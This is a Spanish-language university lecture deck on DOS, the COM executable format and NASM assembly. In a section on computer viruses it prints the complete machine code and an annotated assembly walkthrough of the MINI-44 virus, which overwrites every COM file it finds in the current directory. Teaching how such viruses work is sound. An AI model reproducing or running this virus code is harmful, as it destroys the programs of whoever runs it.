La descarga está en progreso. Por favor, espere

La descarga está en progreso. Por favor, espere

Arquitectura de PCs El ambiente de desarrollo. Introducción Ambiente de desarrollo del curso: - CPU Intel 80386+ - Teclado - Monitor color - Disco duro.

Presentaciones similares


Presentación del tema: "Arquitectura de PCs El ambiente de desarrollo. Introducción Ambiente de desarrollo del curso: - CPU Intel 80386+ - Teclado - Monitor color - Disco duro."— Transcripción de la presentación:

1 Arquitectura de PCs El ambiente de desarrollo

2 Introducción Ambiente de desarrollo del curso: - CPU Intel 80386+ - Teclado - Monitor color - Disco duro - Disquetera Hardware PC AT+Software libre Open Source - Sistema operativo FreeDOS - Linker VAL - Compilador NASM Temática para laboratorio 1: Sistema operativo DOS Formato de archivo ejecutable COM Compilador NASM

3 DOS y.COM: Introducción Notación: SO = “sistema operativo” Para el usuario y el programador el SO FreeDOS es idéntico al SO MS-DOS de Microsoft: se usa indistintamente términos “DOS” y “FreeDOS”

4 DOS y.COM: Introducción Fin POST del BIOS: Carga sector CHS=0,0,1 de dispositivo primario en 0000:7C00H Salto incondicional 0000:7C00H Si dispositivo de arranque es un disquete, sector CHS = 0,0,1 contiene el “sector de inicio” El sector de inicio se escribe en la instalación del SO El sector de inicio es un programa que usa servicios BIOS para cargar al SO a memoria

5 DOS y.COM: Introducción FFFFFH F0000H 003FFH Tabla de interrupciones 00000H Datos del BIOS 00400H ROM BIOS A0000H BFFFFH RAM de vídeo ROM (dispositivos y opcional) C0000H EFFFFH SO DOS Memoria disponible para programas de usuario El proceso de inicio del SO termina en ejecución de procesador de comandos COMMAND.COM COMMAND.COM

6 DOS y.COM: Introducción Arquitectura DOS: tres capas BIOS Núcleo DOS COMMAND.COMPROGRAMAS DE USUARIO INT 21H, 27H Funciones del sistema para: - Manejo de archivos, de memoria - Acceso a teclado y video - Acceso a RTC - Ejecución de programas INT 5, 13H.. 1AH, 48H Servicios BIOS de acceso a dispositivos

7 DOS y.COM: COMMAND.COM Comando interno: reside en COMMAND.COM COMMAND.COM imprime línea de comandos en pantalla, interpreta y ejecuta comandos de usuarios: copy, dir, del Comando externo: programa en disco; se carga en memoria al inicio de ejecución y se descarta al terminar ejecución Programas de usuario, editores de texto, etc. Archivo batch: archivo de texto de extensión BAT. Incluye comandos externos e internos. Se procesa una línea por vez

8 DOS y.COM: COMMAND.COM Ejecución COMMAND.COM: BIOS Núcleo DOS COMMAND.COM Loop_infinito: mov ah, 09h mov dx,prompt int 21 h mov dx, cmd mov ah, 0Ah int 21 h call parse_cmd... jmp Loop_infinito... prompt db ‘C:\>$’ cmd resb 256... int 10h... C:\>... int 16h... HOLA [Enter] HOLA

9 DOS y.COM: COMMAND.COM Interpretación de comando (por ej. HOLA): Si es interno lo ejecuta y termina Si no, busca comando externo o archivo batch con el mismo nombre que el comando: En directorio actual y en cada directorio de variable PATH Primero busca archivo de extensión “.COM”, luego “.EXE” y luego “.BAT” Si no se encuentra archivo, muestra mensaje “Bad command or file name”

10 DOS y.COM: COMMAND.COM Ejecución de comando externo “HOLA” Núcleo DOS COMMAND.COM Disco B4 09 BA 0C 01 CD 21 B8 00 4C CD 21 42 75 65 6E 20 64 69 61 20 6D 75 6E 64 6F 21 21 21 24 C:\HOLA.COM Parse_cmd: call internal_cmd jnz external ret external: call find_cmdfile jnz print_nocmd mov dx,cmdfile... mov ah,4Bh ;EXEC int 21h ret Cmdfile resb 256 cmd resb 256 Environment: PATH resb 512 HOLA C:\;C:\bin 00000H DOS 01000H INI_MEM 09000H 09000H 09100H PSP Memoria disponible 24 21 09 B4 0911DH CSDSSS FFFFFH 18FFEH SP mov ah,4Ch int 21h C:\HOLA.COM

11 DOS y.COM: Núcleo del SO Núcleo DOS implementa funciones de soporte a interfaz a aplicaciones: servicios DOS (detalle en bibliografía [1] del curso): Manejo de archivos Manejo de memoria Acceso a teclado y video Ejecución y terminación de programas Acceso a RTC Abstrae disco en sistema jerárquico de archivos organizado como árbol de directorios (funciones abrir, leer, escribir, crear, eliminar archivo, etc.) Reserva o libera memoria en zona disponible Lectura escritura de fecha y hora Incluye soporte a programas residentes Acceso a servicios DOS Interrupción paraguas 21H; función individual en AH Interrupciones (de software) DOS

12 DOS y.COM: Núcleo del SO Programas residentes juegan papel importante en este curso: Programa no residente: memoria se libera al terminar Programa residente: mantiene parte especificada del programa en memoria tras terminar

13 DOS y.COM: Núcleo del SO Ejemplo: dos programas no residentes 00000H DOS 01000H INI_MEM 09000H 09000H 09100H Memoria disponible FFFFFH C:\> P1.COM PSP(P1) P1 PSP(P2) P2 C:\> P2.COM

14 DOS y.COM: Núcleo del SO Ejemplo: programa 1 con 300H bytes residentes 00000H DOS 01000H INI_MEM 09000H 09000H 09100H Memoria disponible FFFFFH C:\> P1.COM C:\> P2.COM INI_MEM 09300H 09300H PSP(P1) P1 PSP(P2) P2 09400H

15 DOS y.COM: Programa COM Los archivos EXE y COM se ejecutan directamente por la CPU El tipo COM es el más simple de los dos, y el que se va a utilizar en este curso Un archivo COM se corresponde directamente con la imagen binaria del programa en memoria

16 DOS y.COM: Programa COM Se considera programa HOLA.ASM: B4 09 BA 0C 01 CD 21 B8 00 4C CD 21 42 75 65 6E 20 64 69 61 20 6D 75 6E 64 6F 21 21 21 24 Se ensambla en HOLA.COM Directiva: espacio de instrucciones y datos único Directiva: primera instrucción en offset 100H, siguiendo PSP Función 9 DOS: imprime cadena de texto terminada en ‘$’ Recibe puntero a la cadena en DS:DX (DS = CS) Pasa Control a DOS Función 4CH DOS: termina programa Pasa Control a DOS Cadena de texto en dirección “HI” section.text org 100h mov ah,9 mov dx,HI int 21h mov ax,4C00h int 21h HI db ‘Buen dia mundo!!!$’

17 DOS y.COM: Programa COM Ejecución de comando externo “HOLA.COM” Núcleo DOS COMMAND.COM Disco B4 09 BA 0C 01 CD 21 B8 00 4C CD 21 42 75 65 6E 20 64 69 61 20 6D 75 6E 64 6F 21 21 21 24 C:\HOLA.COM mov dx,cmdfile... mov ah,4Bh ;EXEC int 21h... Cmdfile resb 256 cmd resb 256 Environment: PATH resb 512 HOLA C:\;C:\bin 00000H DOS 01000H INI_MEM 09000H 09000H 09100H PSP Memoria disponible 24 21 09 B4 0911FH CSDSSS FFFFFH 18FFEH SP mov ah,4Ch int 21h C:\HOLA.COM

18 DOS y.COM: Programa COM HOLA.ASM: Directiva: espacio de instrucciones y datos único Directiva: primera instrucción en offset 100H, siguiendo PSP Función 9 DOS: imprime cadena de texto terminada en ‘$’ Recibe puntero a la cadena en DS:DX (DS = CS) Pasa Control a DOS Función 4CH DOS: termina programa Pasa Control a DOS Cadena de texto en dirección “HI” section.text org 100h mov ah,9 mov dx,HI int 21h mov ax,4C00h int 21h HI db ‘Buen dia mundo!!!$’ - HOLA.ASM no hace referencia directa a ningún registro de segmento - Por ej., puntero a cadena de texto que imprime la función 9 DOS (HI) se pasa como offset relativo a DS - HOLA.ASM es independiente de la dirección donde lo carga DOS

19 DOS y.COM: Programa COM PSP Previo a la ejecución del programa, DOS: carga archivo COM a offset 100H del segmento de programa Crea un PSP (Program Segment Prefix), desde offset 0 hasta offset 0FFH del segmento Gran parte de PSP no se usa en programas de DOS, aunque se preserva por compatibilidad hacia atrás Partes del PSP útiles: Offset 80H: texto que sigue al nombre del programa en la línea de comandos Offset 2CH: segmento que contiene las variables de entorno DOS (por ej. PATH)

20 DOS y.COM: Programa COM Por ej., se invoca HOLA según C:\HOLA Hola mundo! Para imprimir en pantalla el contenido de la PSP: DEBUG c:\HOLA.COM Hola Mundo! - D 0 L 100 En particular, en offset 80H se observa el valor 0CH, que es el largo de “Hola Mundo!”, seguido de la cadena de texto terminada en =0DH Comando DEBUG “R” imprime valor de los registros

21 DOS y.COM: Programa COM Inicio de la pila: después de cargar el programa en offset 100H, DOS inicia la pila en el tope del segmento: Los dos primeros bytes se inician a 0, para que una instrucción RET salte a offset 0 de la PSP, donde reside instrucción INT20H (devuelve control a DOS) Inicia SP = FFFEH

22 DOS y.COM: Ej. virus COM Virus de computadora: programa que se reproduce a sí mismo NO crea copias de sí mismo (1.COM -> 2.COM); se adjunta a otros programas “infectándolos” Programas infectados se ejecutan en uso normal de la computadora, y virus se ejecuta con ellos

23 DOS y.COM: Ej. virus COM Se considera por ej. el tipo de virus más sencillo: MINI-44.ASM, que infecta archivos.COM reemplazando parte del programa con su propio código MINI-44 ensambla en 44 bytes: Un programa infectado por MINI-44 se destruye B4 4E BA 26 01 CD 21 72 1C B8 01 3D BA 9E 00 CD 21 93 B4 40 B1 2C BA 00 01 CD 21 B4 3E CD 21 B4 4F CD 21 EB E2 C3 2A 2E 43 4F 4D 00

24 DOS y.COM: Ej. virus COM Todo virus tiene dos rutinas básicas: rutina de búsqueda: localiza archivos para infectar rutina de copia: copia el virus a programa localizado

25 DOS y.COM: Ej. virus COM Ejecución MINI-44: C:\PRUEBA> C:\ B4 4E BA 26 01 CD 21 72 1C B8 01 3D BA 9E 00 CD 21 93 B4 40 B1 2C BA 00 01 CD 21 B4 3E CD 21 B4 4F CD 21 EB E2 C3 2A 2E 43 4F 4D 00 B4 09 21 21 24 INFECTADO.COM B4 09 BA 0C 01 CD 21 B8 00 4C CD 21 42 75 65 6E 20 64 69 61 20 6D 75 6E 64 6F 21 21 21 24 B4 09 BA 0C 01 CD 21 B8 00 4C CD 21 42 75 65 6E 20 64 69 61 20 6D 75 6E 64 6F 21 21 21 24 VICTIMA.COM PRUEBA 00000H DOS 01000H MEM 9000H 09000H 09100H PSP 24 21 4E B4 0911FH FFFFFH 18FFFH Busca primer archivo COM en C:\PRUEBA ¿ Archivo Encontrado? Si : VICTIMA.COM Infecta archivo Busca siguiente archivo COM en C:\PRUEBA Retornar a DOS No B4 4E BA 26 01 CD 21 72 1C B8 01 3D BA 9E 00 CD 21 93 B4 40 B1 2C BA 00 01 CD 21 B4 3E CD 21 B4 4F CD 21 EB E2 C3 2A 2E 43 4F 4D 00 65 6E 20 64 69 61 20 6D 75 6E 64 6F 21 21 21 24 VICTIMA.COM INFECTADO

26 DOS y.COM: Ej. virus COM - DOS organiza disco como sistema de archivos jerárquico desde directorio “raíz” - Estructura de árbol: directorios pueden contener subdirectorios - Rutina de búsqueda de MINI-44 usa funciones DOS (int 21h) 4EH y 4FH Buscar primero: busca primer archivo según cadena de texto, por ej., “DB *.COM”) Función DOS 4EH DS:DX apunta a la cadena de texto especificando búsqueda Si CY = 0 nombre y atributos de archivo en sección DTA de PSP; si CY = 1 no encontró Buscar siguiente: busca siguiente archivo a partir de una secuencia definida por función Buscar Primero Función DOS 4FH DTA iniciado en llamado previo a función Buscar Primero o Buscar Siguiente Si CY = 0 encontró, nombre y atributos de archivo en sección DTA de PSP; si CY = 1 no encontró

27 DOS y.COM: Ej. virus COM Análisis de código de MINI-44: Busca primer archivo COM en C:\PRUEBA ¿ Archivo Encontrado? Busca siguiente archivo COM en C:\PRUEBA Retornar a DOS No Si Infecta archivo SRCH_FIRST: mov dx,COMFILE mov ah,4EH int 21H COMFILE db '*.COM',0 COMFILE = Offset de cadena ASCII Función Buscar Primero Pasa a DOS Buscar archivo COM en directorio de virus DONE: ret termina devolviendo control a DOS jc DONEno encontró mov ah,4FH int 21H Buscar siguiente FOUND: mov ax,3D01H mov dx,FNAME int 21h mov bx,ax mov dx,100H mov cx,44 mov ah,40H int 21h mov ah,3EH int 21h Abrir archivo (AH=3DH), en modo escritura (AL=1) nombre de archivo encontrado en offset FNAME=9EH devuelve manejador de archivo en AX carga manejador de archivo en BX inicio del buffer de escritura número de bytes a escribir función 40H escribe cx bytes a archivo definido por el manejador en BX; buffer DS:DX función 3EH, cierra archivo definido por manejador en BX Abre archivo Escribe Cierra archivo

28 Ambiente de desarrollo EL COMPILADOR NASM Y EL FORMATO COM

29 Definiciones Archivo fuente: archivo de entrada a un ensamblador. Consiste en sentencias ASM y directivas al ensamblador Archivo objeto: archivo producido por un ensamblador procesando un archivo fuente. Existen diversos formatos. En general archivo objeto consiste en: Encabezado Código de máquina Información de relocación Símbolos del programa

30 Definiciones El enlazador (linker) genera un “archivo ejecutable”, “enlazando” un conjunto de archivos objeto Existen diversos archivos de formato ejecutable. El más simple es el formato COM, que tiene sólo el código máquina del programa

31 Ensamblado NASM NASM puede generar 2 formatos de archivos objeto: OBJ o BIN Si el archivo fuente es autocontenido (LABORATORIO 1), NASM permite generar directamente ejecutable (formato BIN) Archivo Fuente NASMArchivo Ejecutable COM Formato BIN Archivo Fuente 1 Archivo Fuente 2 Archivo Fuente N NASM Archivo Objeto 1 Formato OBJ NASM ENLAZADORArchivo Ejecutable COM Archivo Objeto 2 Formato OBJ Archivo Objeto N Formato OBJ Generación ejecutable COM con NASM a partir de varios fuentes: formato OBJ

32 Comando NASM Comando NASM para ensamblar archivo: Opcionales nasm -f [-o ArchivoObjeto>] [-l ArchivoListado] - Formato = formato de objeto, “bin” u “obj” - Archivo fuente = path a archivo fuente con extensión “.ASM” - Archivo objeto = path a archivo objeto (extensión.BIN,.COM o.OBJ) - Archivo listado = path a archivo de listado con extensión “.LST” Archivo objeto tipo BIN se compone sólo del código de máquina del archivo fuente: idéntico a formato COM nasm -f bin hola.asm -o hola.com -l hola.lst Fuente: hola.asm Objeto: hola.com Listado: hola.lst

33 Fuente BIN section.text;Directiva a NASM, indicando ;que las sentencias que siguen ;pertenecen a la sección “text” org 100h;Directiva a NASM, indicando ;offset que se suma a ;todas las referencias a ;memoria en las instrucciones.......... [sentencias ASM en sintaxis según CAP. 2].......... Sección: conjunto de datos en localidades adyacentes de memoria Estrictamente, para BIN el offset es ORG + el comienzo de la sección relativo al inicio del binario Esqueleto de archivo fuente NASM para el formato BIN:

34 Se considera por ej. HOLA.ASM: Comando para generar listado de HOLA.ASM: NASM: Ensamblado BIN section.text org 100h mov ah,9 mov dx,HI int 21h mov ax,4C00h int 21h HI db ‘Buen dia mundo!!!$’ nasm -f bin hola.asm -o hola.com -l hola.lst

35 Hola.lst: NASM: Ensamblado BIN Número de línea en archivo fuente Offset en archivo objeto Instrucción en código de máquina Línea de archivo fuente Se ensambla en Referencia a la memoria: offset 000C de sección TEXT (todavía no sumó el offset de ORG)

36 NASM suma 100H (ORG) a la referencia en la línea 5; esto se verifica en el archivo objeto de salida, por ej. con el comando DEBUG: “debug [nombre de archivo].COM” carga el archivo COM en memoria igual que función EXEC, sin pasar el control de ejecución al archivo Instrucción “D 100 L 20” muestra 20H bytes desde offset 100H de archivo cargado por DEBUG, esto es, primeros 20H bytes de archivo COM NASM: Ensamblado BIN

37 mov ah,9 Debug aplicado a hola.com: mov dx, HI HI = 010CH (LITTLE ENDIAN)

38 “U 100 L B” desensambla 0BH bytes de código del archivo COM: NASM: Ensamblado BIN


Descargar ppt "Arquitectura de PCs El ambiente de desarrollo. Introducción Ambiente de desarrollo del curso: - CPU Intel 80386+ - Teclado - Monitor color - Disco duro."

Presentaciones similares


Anuncios Google